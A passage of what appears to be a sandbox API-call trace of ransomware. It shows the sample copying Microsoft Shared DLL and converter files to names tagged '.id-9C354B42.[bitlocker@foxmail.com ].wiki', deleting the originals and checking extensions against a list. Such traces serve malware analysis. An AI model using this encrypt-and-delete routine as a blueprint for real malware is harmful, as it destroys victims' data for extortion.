0x1d0 [0194.868] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=101248) returned 1 [0194.868] CloseHandle (hObject=0x1d0) returned 1 [0194.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 0x20 [0194.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.869] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.869] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0194.869] GetLastError () returned 0x0 [0194.869] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x18b80, lpOverlapped=0x0) returned 1 [0194.911] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x18b90, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x18b90, lpOverlapped=0x0) returned 1 [0194.913] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.914] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xee, lpOverlapped=0x0) returned 1 [0194.914] SetEndOfFile (hFile=0x1e0) returned 1 [0194.914] CloseHandle (hObject=0x1e0) returned 1 [0194.914] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.914] SetEndOfFile (hFile=0x1d0) returned 1 [0194.915] CloseHandle (hObject=0x1d0) returned 1 [0194.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.915] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 1 [0194.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.915] lstrlenW (lpString=".doc") returned 4 [0194.915] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.916] lstrlenW (lpString=".docx") returned 5 [0194.916] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0194.916] lstrlenW (lpString=".pdf") returned 4 [0194.916] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.916] lstrlenW (lpString=".xls") returned 4 [0194.916] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.916] lstrlenW (lpString=".xlsx") returned 5 [0194.916] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0194.916] lstrlenW (lpString=".ppt") returned 4 [0194.916] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.916] lstrlenW (lpString=".zip") returned 4 [0194.916] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.916] lstrlenW (lpString=".rar") returned 4 [0194.916] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.916] lstrlenW (lpString=".bz2") returned 4 [0194.916] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.916] lstrlenW (lpString=".7z") returned 3 [0194.916] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.916] lstrlenW (lpString=".dbf") returned 4 [0194.916] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.916] lstrlenW (lpString=".1cd") returned 4 [0194.916] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.916] lstrlenW (lpString=".jpg") returned 4 [0194.916] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.917] lstrlenW (lpString=".doc") returned 4 [0194.917] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.917] lstrlenW (lpString=".docx") returned 5 [0194.917] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0194.917] lstrlenW (lpString=".pdf") returned 4 [0194.917] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.917] lstrlenW (lpString=".xls") returned 4 [0194.917] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.917] lstrlenW (lpString=".xlsx") returned 5 [0194.917] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0194.917] lstrlenW (lpString=".ppt") returned 4 [0194.917] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.917] lstrlenW (lpString=".zip") returned 4 [0194.917] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.917] lstrlenW (lpString=".rar") returned 4 [0194.917] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.917] lstrlenW (lpString=".bz2") returned 4 [0194.917] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.917] lstrlenW (lpString=".7z") returned 3 [0194.917] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.925] lstrlenW (lpString=".dbf") returned 4 [0194.925] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.925] lstrlenW (lpString=".1cd") returned 4 [0194.925] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0194.925] lstrlenW (lpString=".jpg") returned 4 [0194.925] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.926] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.926] lstrlenW (lpString="MOFL.DLL") returned 8 [0194.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.926] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=364928) returned 1 [0194.926] CloseHandle (hObject=0x1d0) returned 1 [0194.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 0x20 [0194.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.927] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.927] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0194.927] GetLastError () returned 0x0 [0194.927] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x59180, lpOverlapped=0x0) returned 1 [0195.054] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x59190, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x59190, lpOverlapped=0x0) returned 1 [0195.085] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.085] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0195.085] SetEndOfFile (hFile=0x1e0) returned 1 [0195.128] CloseHandle (hObject=0x1e0) returned 1 [0195.128] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.142] SetEndOfFile (hFile=0x1d0) returned 1 [0195.147] CloseHandle (hObject=0x1d0) returned 1 [0195.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.147] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 1 [0195.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.148] lstrlenW (lpString=".doc") returned 4 [0195.148] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.148] lstrlenW (lpString=".docx") returned 5 [0195.148] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0195.148] lstrlenW (lpString=".pdf") returned 4 [0195.148] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.148] lstrlenW (lpString=".xls") returned 4 [0195.148] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.148] lstrlenW (lpString=".xlsx") returned 5 [0195.148] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0195.148] lstrlenW (lpString=".ppt") returned 4 [0195.148] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.148] lstrlenW (lpString=".zip") returned 4 [0195.148] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.148] lstrlenW (lpString=".rar") returned 4 [0195.148] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.148] lstrlenW (lpString=".bz2") returned 4 [0195.148] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.148] lstrlenW (lpString=".7z") returned 3 [0195.148] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.148] lstrlenW (lpString=".dbf") returned 4 [0195.148] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.148] lstrlenW (lpString=".1cd") returned 4 [0195.148] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.148] lstrlenW (lpString=".jpg") returned 4 [0195.148] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.149] lstrlenW (lpString=".doc") returned 4 [0195.149] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0195.149] lstrlenW (lpString=".docx") returned 5 [0195.149] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0195.149] lstrlenW (lpString=".pdf") returned 4 [0195.149] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0195.149] lstrlenW (lpString=".xls") returned 4 [0195.149] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0195.149] lstrlenW (lpString=".xlsx") returned 5 [0195.149] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0195.149] lstrlenW (lpString=".ppt") returned 4 [0195.149] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0195.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.149] lstrlenW (lpString=".zip") returned 4 [0195.149] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0195.149] lstrlenW (lpString=".rar") returned 4 [0195.149] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0195.149] lstrlenW (lpString=".bz2") returned 4 [0195.149] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0195.149] lstrlenW (lpString=".7z") returned 3 [0195.149] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.149] lstrlenW (lpString=".dbf") returned 4 [0195.149] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0195.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.149] lstrlenW (lpString=".1cd") returned 4 [0195.149] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0195.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned 65 [0195.149] lstrlenW (lpString=".jpg") returned 4 [0195.149] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0195.150] lstrcmpiW (lpString1=".CNV", lpString2=".wiki") returned -1 [0195.150] lstrlenW (lpString="RECOVR32.CNV") returned 12 [0195.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0195.150] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=36712) returned 1 [0195.150] CloseHandle (hObject=0x1d0) returned 1 [0195.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 0x20 [0195.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0195.150] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.150] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0195.153] GetLastError () returned 0x0 [0195.153] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x8f68, lpOverlapped=0x0) returned 1 [0195.179] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x8f70, lpOverlapped=0x0) returned 1 [0195.181] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.181] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.181] SetEndOfFile (hFile=0x1e0) returned 1 [0195.181] CloseHandle (hObject=0x1e0) returned 1 [0195.181] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.181] SetEndOfFile (hFile=0x1d0) returned 1 [0195.182] CloseHandle (hObject=0x1d0) returned 1 [0195.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.182] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 1 [0195.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.182] lstrlenW (lpString=".doc") returned 4 [0195.182] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0195.182] lstrlenW (lpString=".docx") returned 5 [0195.182] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0195.182] lstrlenW (lpString=".pdf") returned 4 [0195.182] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0195.182] lstrlenW (lpString=".xls") returned 4 [0195.183] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0195.183] lstrlenW (lpString=".xlsx") returned 5 [0195.183] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0195.183] lstrlenW (lpString=".ppt") returned 4 [0195.183] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0195.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.183] lstrlenW (lpString=".zip") returned 4 [0195.183] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0195.183] lstrlenW (lpString=".rar") returned 4 [0195.183] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0195.183] lstrlenW (lpString=".bz2") returned 4 [0195.183] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0195.183] lstrlenW (lpString=".7z") returned 3 [0195.183] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0195.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.183] lstrlenW (lpString=".dbf") returned 4 [0195.183] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0195.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.183] lstrlenW (lpString=".1cd") returned 4 [0195.183] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0195.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.183] lstrlenW (lpString=".jpg") returned 4 [0195.183] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0195.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.183] lstrlenW (lpString=".doc") returned 4 [0195.183] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0195.183] lstrlenW (lpString=".docx") returned 5 [0195.183] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0195.183] lstrlenW (lpString=".pdf") returned 4 [0195.183] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0195.183] lstrlenW (lpString=".xls") returned 4 [0195.184] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0195.184] lstrlenW (lpString=".xlsx") returned 5 [0195.184] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0195.184] lstrlenW (lpString=".ppt") returned 4 [0195.184] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0195.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.184] lstrlenW (lpString=".zip") returned 4 [0195.184] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0195.184] lstrlenW (lpString=".rar") returned 4 [0195.184] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0195.184] lstrlenW (lpString=".bz2") returned 4 [0195.184] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0195.184] lstrlenW (lpString=".7z") returned 3 [0195.184] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0195.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.184] lstrlenW (lpString=".dbf") returned 4 [0195.184] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0195.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.184] lstrlenW (lpString=".1cd") returned 4 [0195.184] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0195.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0195.184] lstrlenW (lpString=".jpg") returned 4 [0195.184] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0195.184] lstrcmpiW (lpString1=".cnv", lpString2=".wiki") returned -1 [0195.184] lstrlenW (lpString="Wks9Pxy.cnv") returned 11 [0195.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0195.186] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=57248) returned 1 [0195.186] CloseHandle (hObject=0x1d0) returned 1 [0195.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0195.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.id-9c354b42.[bitlocker@foxmail.com 